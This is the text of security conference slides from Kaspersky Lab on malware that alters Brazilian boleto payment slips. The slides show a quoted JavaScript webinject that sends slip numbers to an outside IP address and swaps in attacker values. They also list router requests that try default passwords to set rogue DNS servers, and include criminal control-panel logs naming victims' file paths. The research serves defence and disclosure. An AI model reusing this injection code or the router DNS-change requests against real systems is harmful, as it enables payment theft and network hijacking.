+30 years old Brazilian popular payment system

21% of all payments in the country in 2011

18% of all online sales in 2012

Simple: just print and pay

	237-2	2379	91.11103 6	0.000	000103 0100	0.222206 1 48	622000000000
Local de pagamento						Vencimento	
PAGÁVEL PREFERENCIALMENTE NAS AGÊNCIAS DO BRADESCO						29/01/2011	
Cedente						Agência / Código cedente	
NF-e Associacao NF-e							1111-8/0002222-5

Data do documento No documento Espécie doc. Aceite Data processamento Carteira / Nosso número 25/01/2011 NF 1 1/1 Ν 25/01/2011 06/00000001001-6 Carteira Espécie Quantidade (x) Valor Uso do banco (=) Valor documento

R\$ 06 R\$ 20,000,000.00

Sacado DISTRIBUIDORA DE AGUAS MINERAIS CNPJ: 00.000.000/0001-91 AV DAS FONTES 1777 10 ANDAR PARQUE FONTES - Sao Paulo/SP - CEP: 13950-000 Sacador / Avalista

Instruções (Texto de responsabilidade do cedente)

Boleto 1 de 1 referente a NF 1 de 06/05/2008 com chave

3508-0599-9990-9091-0270-5500-1000-0000-0151-8005-1273

Não receber após o vencimento.

(+) Mora / Multa (+) Outros acréscimos (=) Valor cobrado

(-) Desconto / Abatimentos

(-) Outras deduções

Cód, baixa Autenticação mecánica - Ficha de Compensação



Powned by a Barcode

stealing money from offline users the untold story, killing the FUDs



34191.75207 05756.892526 50451.630003 8 000

Fabio Assolini Kaspersky Lab, #VB2014



Video

Issuer Bank

44 digit ID field

237-2 23791.11103 60000.000103 01000.222206 1 48622000000000 Local de pagamento Vencimento PAGÁVEL PREFERENCIALMENTE NAS AGÊNCIAS DO BRADESCO 29/01/2011 Agência / Código cedente Cedente NF-e Associação NF-e 1111-8/0002222-5 Data do documento No documento Espécie doc. Aceite Data processamento Carteira / Nosso número NF 1 1/1 25/01/2011 25/01/2011 Ν 06/00000001001-6 Uso do banco Carteira Espécie Quantidade (x) Valor (=) Valor documento 06 R\$ 20,000,000.00 Instruções (Texto de responsabilidade do cedente) (-) Desconto / Abatimentos Não receber após o vencimento. Boleto 1 de 1 referente a NF 1 de 06/05/2008 com chave (-) Outras deduções 3508-0599-9990-9091-0270-5500-1000-0000-0151-8005-1273 (+) Mora / Multa (+) Outros acréscimos **Customer data** (=) Valor cobrado Sacado DISTRIBUIDORA DE AGUAS MINERAIS CNPJ: 00.000.000/0001-91 AV DAS FONTES 1777 10 ANDAR PARQUE FONTES - Sao Paulo/SP - CEP: 13950-000 Cód, baixa Autenticação mecânica - Ficha de Compensação Sacador / Avalista

Due Date

Value to pay

Barcode



Boleto Bancario simply referred as Boleto

It is issued by stores, online retailers, government, banks and all kind of businesses, can be paid in any bank.

It's the preferred way to pay bills and buy goods, used by people that don't have a credit card or an internet banking account. It's so popular that FIFA sold World Cup tickets through them.

A Boleto can be paid at ATMs, branch facilities and internet banking of any Bank, Post Office, Lottery Agent and some supermarkets until its due date. After due date it can only be paid at the issuer bank facilities.


POwned by a barcode













CAL	XA	033-7				Recibo do Sacado	
CEDENTE LD Cedente	100				20/04/2013	20/04/2013	
NOSSO NUMERO 9900000000000000000000000000000000000	0042-5	OHERO DO DOCUMEN 00042 -) DEDUÇÕES	D	PÉCIE DOC. M +) ACRÉSCIP	14/04/2013	TO AGENCIA/CÓD. CEDENTE 0012/123456 VALOR COBRADO	
R\$ 420,00		-/ OEDOÇOES		T) HCKESCIP	ios	VHLOR COBRADO	
SACADO LD Teste INSTRUÇÃO			***				Real ID number
Este é um boleto	para demonst	ração		W.	AUTENTICAC	ÃO MECÁNICA	<u> </u>
		104-	0 10491.	12343 56	6990.000004 000	000.000422 3	
CAL	YA	033-7	03399,4938	0 38000.	000000 00422.7	9c Corte nesta linha	Other ID number
LOCAL DE PAGAMENTO Pagável em qualquer agência bancária até a data de vencimento						VENCIMENTO 20/04/2013	inserted by the
CEDENTE CPF/CNPJ				3	CPF/CNPJ 20/04/2013	AGÉNCIA/CÓD. CEDENTE 0012/123456	malware
DATA DOCUMENTO	HUMERO DO DO	CUMENTO	ESPÉCIE DOC.		E DATA PROCESSAMEN	ITO NOSSO NÚMERO	Illalware
14/04/2013 USO DO BANCO	00042 CARTEIRA	ESP. MOEDA	DM	N N	LOR MOEDA	99000000000000042-5 (=) VALOR DOCUMENTO	
	01	R\$				R\$ 420,00	
instruções Boleto gerado par	a testes					(-) DESCONTOS	
Não receber após						(-) OUTRAS DEDUÇÕES	
•						(+) HORG/HULTG	
						(+) OUTROS ACRÉSCIMOS	Real Barcode
						(=) VALOR COBRADO	Real Barcode
SACADO LD Teste							
Rua da Linh São Paulo -							Other barcode
					AUTENTIC	AÇÃO HECÂNICA/FICHA DE COMPENSAÇÃO	inserted by the
							malware
						Sc Corte nesta linha	

The malware



```
dd offset aLinhadigitavel ; "LinhaDigitavel"
                                                                                                                                        dd offset a jsinject
                                                                                                                                                                                     ; " jsinject"
dd offset aTd 0
                                                                                                                                        dd offset aSetattribute ;
                                                                                                                                                                                        "setAttribute"
dd offset aAhr@chm61y9 18 ; "aHR@cHM6Ly93d3dzNS5oc2JjLmNvbS5ici9DTkI".
                                                                                                                                         dd offset aFunctionSetval
                                                                                                                                                                                            "function SetValores() {"
dd offset aTxtdatavencime ; "TxtDataVencimento"
                                                                                                                                        dd offset aDocument frmco :
                                                                                                                                                                                            "document.frmCodBarras.codigoBarras.valu"...
dd offset aTxtvalorpagame ; "TxtValorPagamento"
                                                                                                                                         dd offset aDocument frm 0 :
                                                                                                                                                                                            "':document.frmCodBarras1.v5.value='"
dd offset aTxtdataefetiva ; "TxtDataEfetivacao"
                                                                                                                                         dd offset aDocument frm 1 : "':document.frmCodBarras1.v6.value=""
dd offset aTxtlinhadigita ; "TxtLinhaDigitavel1"
                                                                                                                                         dd offset aDocument frm 2 ; "';document.frmCodBarras1.v7.value='"
dd offset aTxtlinhadigi 0; "TxtLinhaDigitavel2"
                                                                                                                                                                                        : "':document.frmCodBarras1.v8.value='"
                                                                                                                                         dd offset aDocument frm 3
dd offset aTxtlinhadigi 1 ; "TxtLinhaDigitavel3"
                                                                                                                                         dd offset aDocument frm 4 : "':document.frmCodBarras1.v9.value='"
dd offset aTxtlinhadigi 2 ; "TxtLinhaDigitavel4"
                                                                                                                                         dd offset aDocument frm 5 : "':document.frmCodBarras1.v10.value='"
dd offset aTxtlinhadigi 3 ; "TxtLinhaDigitave15"
                                                                                                                                         dd offset aDocument frm 6
                                                                                                                                                                                         : "':document.frmCodBarras1.v11.value='"
dd offset aPrincipal
                                            ; "Principal"
                                                                                                                                         dd offset aDocument frm 7 ;
                                                                                                                                                                                            "';document.frmCodBarras1.v12.value='"
dd offset aCorpo 0
                                             ; "Corpo"
                                                                                                                                         dd offset aReturnEnviaval
                                                                                                                                                                                            ""; return enviaValores();}"
dd offset alframeprinc
                                             ; "iFramePrinc"
                                                                                                                                         dd offset aText
                                                                                                                                                                                         "Text"
dd offset aTxtvalor
                                             : "txtValor"
                                                                                                                                                                                      ; "HEAD"
                                                                                                                                         dd offset aHead
dd offset aTxtdatavenci 0 : "txtDataVencimento"
                                                                                                                                        dd offset aGetelementsbut : "getElementsBuTagName"
                    var CurHtml = $("body").html();
                    var replace = /[0-9](5).[0-9](5).[0-9](5).[0-9](6)[](1,5)[0-9](6)[](1,5)[0-9](6)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1)[](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9](1,5)[0-9
                    if (pattern.test(CurHtml)) {
                            var server = "http://141.105.65.5";
                            var linhad = (pattern.exec(CurHtml))[0].replace(/\s+/g,' ');
                            $.get(server + '/' + linhad, function(data) {
                                    if (pattern.test(data)) {
                                           $("body").html(CurHtml.replace(replace, data));
                            1):
```

It's like SpyEye: webinjects in the browser session



Request:

Response:

03399.62086 86000.000009 00008.601049 7 00000000000000





[03399.61807 76000.000000 50009.701017 5 60930000000000]

The Control Panel




0	DATA	HORA	<u>LINHA ORIGINAL</u>	LINHA <u>alterada</u>	VALOR	<u>BOLETO</u>
1	02/07/2014	17:52:44	23790.12301 60000.000053 25000.456704 2 61120000013580	39991.79199 18773.513025 01091.310019 3 61120000013580	135,80	file://C:\Documents and Settings\Administrador\Desktop\Boleto Bancário.htm
2	03/07/2014	02:51:08	34191.09008 32493.177391 00893.370007 2 55430000100590	39991.79199 18773.513025 01091.310019 6 55430000100590	1005,90	C:\Users\Luzinete\Desktop\nova word\Jose Santos Amorin Neto.htm
3	03/07/2014	02:51:12	39992.64835 42000.001042 34658.135222 8 53330000006800	39991.79199 18773.513025 01091.310019 8 53330000006800	68,00	C:\Users\Luzinete\AppData\Local\Temp\Low\9VYQT18Z.htm
4	03/07/2014	15:31:09	10490.02056 02408.700009 01105.182503 9 46280000010590	39991.79199 18773.513025 01091.310019 6 46280000010590	105,90	C:\Users\Usuario\Desktop\computador_glaucia\DAYANE\PAC\comprovante sky.htm
5	03/07/2014	15:31:09	40995.22668 57100.000074 72463.965375 5 46270000000000	39991.79199 18773.513025 01091.310019 2 46270000000000	,	C:\Users\Usuario\Desktop\computador_glaucia\DAYANE\PAC\comprovante.htm
6	03/07/2014	15:31:36	62390.00117 21000.000204 01966.205807 5 59160000130952	39991.79199 18773.513025 01091.310019 5 59160000130952	1309,52	C:\Users\Usuario\Downloads\Para_imprimir (1).html
7	03/07/2014	15:31:37	62390.00117 21000.000204 01983.348598 1 59660000139555	39991.79199 18773.513025 01091.310019 9 59660000139555	1395,55	C:\Users\Usuario\Downloads\Para_imprimir.html
8	03/07/2014	15:31:38	34191.75009 03150.522930 80453.960009 3 58860000051168	39991.79199 18773.513025 01091.310019 9 58860000051168	511,68	C:\Users\Usuario\AppData\Local\Temp\D59H586D.htm
9	03/07/2014	15:31:38	34191.75009 10932.032930 80453.960009 5 59640000049931	39991.79199 18773.513025 01091.310019 9 59640000049931	499,31	C:\Users\Usuario\AppData\Local\Temp\GXWZK5RQ.htm
10	03/07/2014	15:43:28	00190.00009 02516.753007 01450.435183 1 58930000001269	39991.79199 18773.513025 01091.310019 1 58930000001269	12,69	C:\Users\Diogo\Desktop\Nova pasta\boleto_bb.php.htm
11	04/07/2014	10:48:14	34191.81973 80162.610309 25034.040003 1 61140000040124	39991.79199 18773.513025 01091.310019 1 61140000040124	401,24	https://bankline.itau.com.br/GRIPNET/BKLCom.dll
12	04/07/2014	10:50:20	34191.81973 80185.592930 80459.090009 7 61140000071187	39991.79199 18773.513025 01091.310019 6 61140000071187	711,87	https://bankline.itau.com.br/GRIPNET/BKLCom.dll
13	04/07/2014	22:25:52	03399.10580 53300.000071 37025.301013 1 61170000032697	39991.79199 18773.513025 01091.310019 6 61170000032697	326,97	https://wwws3.hsbc.com.br/HOB-PGTIT/servlets/PgCCTitServlet?ServletState=130
14	05/07/2014	17:25:05	34191.98076 68482.236095 01802.385508 5 60230000122692	39991.79199 18773.513025 01091.310019 8 60230000122692	1226,92	C:\Users\Nilda\Downloads\Para_imprimir.html
15	05/07/2014	17:25:06	34191.98100 14533.275021 51102.385708 1 60820000073337	39991.79199 18773.513025 01091.310019 1 60820000073337	733,37	C:\Users\Nilda\Downloads\Para_imprimir (1).html

This is what you've heard from the RSA history, but there is more, much more...

The migration






Most of the Brazilian criminals who use Trojan bankers to steal money are migrating their attacks to target boletos, using the same infrastructure. It's more protifable.


Cheap Crimeware kits available on Facebook, costing only \$250.00

They are fast adopting new techniques. Forget about that old and big Delphi trojan bankers - they evolved.






















Whois Record for JogoNew.com - Whois & Quick Stats				
Email	joaodesantocristo88@gmail.com is associated with ~14 domains			
Registrant Org	joao santo cristo is associated with ~13 other domains			
Registrar	ACTIVE REGISTRAR, INC.			
Registrar Status	ok			
Dates	Created on 2014-07-08 - Expires on 2015-07-08 - Updated on 2014-07-08			
Name Server(s)	NS1.ACTIVE-DNS.COM (has 39,742 domains) NS2.ACTIVE-DNS.COM (has 39,742 domains)			
IP Address	158.255.1.220 - 2 other sites hosted on this server			
IP Location	- Moscow City - Moscow - Mir Telematiki Ltd			
ASN	AS49335 NCONNECT-AS Mir Telematiki Ltd.,RU (registered May 20, 2009)			

Registered And Active Website

Domain Status








Working with ZeuS GameOver gangs to create encrypted payloads XORed with a 32-bit key and compressed by ZLIB, using the extensions .JMP, .BCK, .ENC...





The new versions are able to MitM SSL connections. HTTPS can't save you

```
reto4_pago poret
o5_pago_boleto6_
pago boleto7_pag
o boleto8_pago c
ampo1 campo2 cam
po3 campo4 campo
 campo6 campo7
campo8 enviou si
   string temp
   linha digita
vel nova line bb
salva bb global
_name bb_global_
name new new lin
e old line Defin
finirTexto2 pega
Bola send_signal
 secao L102G3 S1
E2N3D4 filePath
FiddlerCore Fidd
   Session L102
G3G4E5Kb TSeSS10
n Funcao C1A2I3X
```



Targeting Network Devices



Attacking DLS modems remotely, changing DNS servers, since 2012. Not massive but still used.


<u>FileUrls</u>	
OriginalUri	DownloadDate
http://www.elitedosfilmes.com/flash_player11-5_install.exe	8/29/2013 8:25:00 PM
http://www.baixaki.com.br/flash_player11-5_install.exe	8/29/2013 7:21:00 PM
http://veja.abril.com.br/flash_player11-5_install.exe	8/29/2013 6:59:00 PM
http://www.redtube.com/flash_player11-5_install.exe	8/29/2013 6:15:00 PM
http://www.4shared.com/flash_player11-5_install.exe	8/29/2013 5:33:00 PM
http://br.yahoo.com/flash_player11-5_install.exe	8/29/2013 5:32:00 PM
http://search.babylon.com/flash_player11-5_install.exe	8/29/2013 5:21:00 PM
http://www.globo.com/flash_player11-5_install.exe	8/29/2013 4:12:00 PM
http://www.tumblr.com/flash_player11-5_install.exe	8/29/2013 3:57:00 PM
http://www.facebook.com/flash_player11-5_install.exe	8/29/2013 3:40:00 PM
http://letras.mus.br/flash_player11-5_install.exe	8/29/2013 3:40:00 PM
http://br.msn.com/flash_player11-5_install.exe	8/29/2013 3:26:00 PM
http://www.xvideos.com/flash_player11-6_install.exe	8/29/2013 3:26:00 PM
http://www.terra.com.br/flash_player11-5_install.exe	8/29/2013 3:26:00 PM
http://www.google.com.br/flash_player11-6_install.exe	8/29/2013 3:26:00 PM
http://br.hao123.com/flash_player11-5_install.exe	8/29/2013 3:26:00 PM
http://www.google.com.br/flash_player11-5_install.exe	8/29/2013 3:11:00 PM
http://www.google.com/flash_player11-5_install.exe	8/29/2013 3:11:00 PM
http://www.uo1.com.br/flash_player11-5_install.exe	8/29/2013 3:11:00 PM
http://65.111.173.101/flash_player11-5_install.exe	8/29/2013 3:11:00 PM
http://www.uol.com.br/flash_player11-6_install.exe	8/29/2013 2:57:00 PM



A serie of attacks, doing DNS poisoning on big ISPs (~12 million customers)


Redirecting users to fake banking pages that generate boletos

Changing boletos when generated at online stores





Massive web-based attack on home routers using malvertising techniques, changing DNS settings and redirecting to fake boletos



Targeting Network Devices



Massive web-based attack on home routers using malvertising techniques, changing DNS settings and redirecting to fake boletos



Targeting Network Devices




Massive web-based attack on home routers using malvertising techniques, changing DNS settings and redirecting to fake boletos

```
http://root@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
http://root@192.168.56.1/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://admin@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
http://admin@192.168.56.1/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://admin:admin@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
http://admin:admin@192.168.56.1/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://admin:123456@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
http://admin:123456@192.168.56.1/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://admin:12345@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
http://admin:12345@192.168.56.1/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://admin:velox@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
http://admin:velox@192.168.56.1/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://admin:velox@192.168.56.1/dnscfg.cgi?dnsPrimarv=54.68.141.139&dnsSecondarv=54.68.71.75&dnsDvnamic=0&dnsRefresh=1
http://admin:velox@192.168.56.1/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://root:root@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
      //root:root@192.168.56.1/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
    //admin:gvt12345@192.168.56.1/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
http://admin:gvt12345@192.168.56.1/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://root@192.168.56.10/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
http://root@192.168.56.10/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://admin@192.168.56.10/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
http://admin@192.168.56.10/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
http://admin:admin@192.168.56.10/dnscfg.cgi?dnsPrimary=54.68.141.139&dnsSecondary=54.68.71.75&dnsDynamic=0&dnsRefresh=1
http://admin:admin@192.168.56.10/dnsProxy.cmd?enblDproxy=0&PrimaryDNS=54.68.141.139&SecondaryDNS=54.68.71.75
```


Fake websites, sponsored links, malicious extensions








Trojan-Banker.Win32.ClearWind.a activate the Developer mode and install any extension




Firefox is a target as well!




Fake websites, sponsored links, malicious extensions





Fake websites, sponsored links, malicious extensions





How much money was stolen? How many victims?

payment method that can be

channels like banks and supe

division of the EMC Corporat





More

02 Brazilian 'Boleto' Bandits Bilk Billions

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With the eyes of the world trained on Brazil for the 2014 FIFA World Cup, it seems a fitting time to spotlight a growing form of computer fraud that's giving Brazilian banks and consumers a run for their money. Today's post looks at new research into a mostly smalltime cybercrime practice that in the aggregate appears to have netted thieves the equivalent of billions of dollars over the past two years.

At issue is the "boleto" (officially "Boleto Bancario"), a popular payment method in Brazil that is used by consumers and for business-to-business payments. Brazilians can use boletos to complete online purchases via their bank's Web site, but unlike credit card payments — which can be disputed and reversed — payments made via boletos are not subject to chargebacks and can only be reverted by bank transfer.



A boleto.

BANCO DO BRASIL

U\$ 6.6 billion annual profit Half of the money from a big bank was stolen?



How much money was stolen?



LINHA ALTERADA	VALOR	BOLETO
03399.65295 62300.000007 00044.201028 3 61080000000100	1,00	http://www.etnia.org.br/boleto/boleto.php
03399.65295 62300.000007 00044.201028 4 61110000000000	,	http://www.etnia.org.br/boleto/boleto.php
03399.65295 62300.000007 00044.201028 6 61110234234200	2342342,00	http://www.etnia.org.br/boleto/boleto.php
03399.65295 62300.000007 00044.201028 1 61140324242300	3242423,00	http://www.etnia.org.br/boleto/boleto.php
03399.65295 62300.000007 00044.201028 9 61141231231230	12312312,30	http://www.etnia.org.br/boleto/boleto.php
03399.65295 62300.000007 00044.201028 1 61140005646400	56464,00	http://www.etnia.org.br/boleto/boleto.php
03399.65295 62300.000007 00044.201028 9 61141234123400	12341234,00	http://www.etnia.org.br/boleto/boleto.php
03399.65295 62300.000007 00044.201028 1 61160000000000	,	http://www.etnia.org.br/boleto/boleto.php
03399.65295 62300.000007 00044.201028 1 61260000295295	2952,95	http://boletophp.com.br/boletophp/boleto_cef.php
03399.65295 62300.000007 00044.201028 2 61220000000580	5,80	http://192.168.10.254/boleto/boleto.php
03399.65295 62300.000007 00044.201028 1 61260000295295	2952,95	http://192.168.10.254/boleto/boleto_bb.php
03399.65295 62300.000007 00044.201028 8 61220000000649	6,49	http://bancobrasil.com.br/boleto/boleto.php
03399.65295 62300.000007 00044.201028 1 61280000012000	120,00	http://www.etnia.org.br/boleto/boleto.php


Control panel displaying repeated and testing entries






Boletos in PDF mode





Kaspersky Safe Money



More details at Securelist.com

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